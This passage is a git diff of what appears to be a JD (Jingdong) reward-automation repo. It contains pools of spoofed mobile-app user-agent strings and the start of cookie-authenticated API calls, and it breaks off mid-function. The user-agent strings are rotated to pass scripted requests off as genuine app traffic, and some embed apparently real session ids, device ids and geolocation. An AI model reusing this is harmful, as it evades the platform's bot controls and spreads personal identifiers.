'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/2813715704;pv/67.38;apprpd/MyJD_Main;ref/https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F2ynE8QDtc2svd36VowmYWBzzDdK6%2Findex.html%3Flng%3D103.957532%26lat%3D30.626962%26sid%3D4fe8ef4283b24723a7bb30ee87c18b2w%26un_area%3D22_1930_49324_52512;psq/4;ads/;psn/5aef178f95931bdbbde849ea9e2fc62b18bc5829|127;jdv/0|direct|-|none|-|1612588090667|1613822580;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/3104834020;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/c633e62b5a4ad0fdd93d9862bdcacfa8f3ecef63|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..13a0925 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +# yydspure \ No newline at end of file diff --git a/TS_USER_AGENTS.ts b/TS_USER_AGENTS.ts new file mode 100644 index 0000000..2015fff --- /dev/null +++ b/TS_USER_AGENTS.ts @@ -0,0 +1,399 @@ +import axios from "axios" +import {Md5} from "ts-md5" +import * as dotenv from "dotenv" +import {existsSync, readFileSync} from "fs" +import {sendNotify} from './sendNotify' + +dotenv.config() + +let fingerprint: string | number, token: string = '', enCryptMethodJD: any + +const USER_AGENTS: Array = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] + +function TotalBean(cookie: string) { + return { + cookie: cookie, + isLogin: true, + nickName: '' + } +} + +function getRandomNumberByRange(start: number, end: number) { + end <= start && (end = start + 100) + return Math.floor(Math.random() * (end - start) + start) +} + +let USER_AGENT = USER_AGENTS[getRandomNumberByRange(0, USER_AGENTS.length)] + +async function getBeanShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action', + `functionId=plantBeanIndex&body=${encodeURIComponent( + JSON.stringify({version: "9.0.0.1", "monitor_source": "plant_app_plant_index", "monitor_refer": ""}) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, { + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": USER_AGENT + } + }) + if (data.data?.jwordShareInfo?.shareUrl) + return data.data.jwordShareInfo.shareUrl.split('Uuid=')![1] + else + return '' +} + +async function 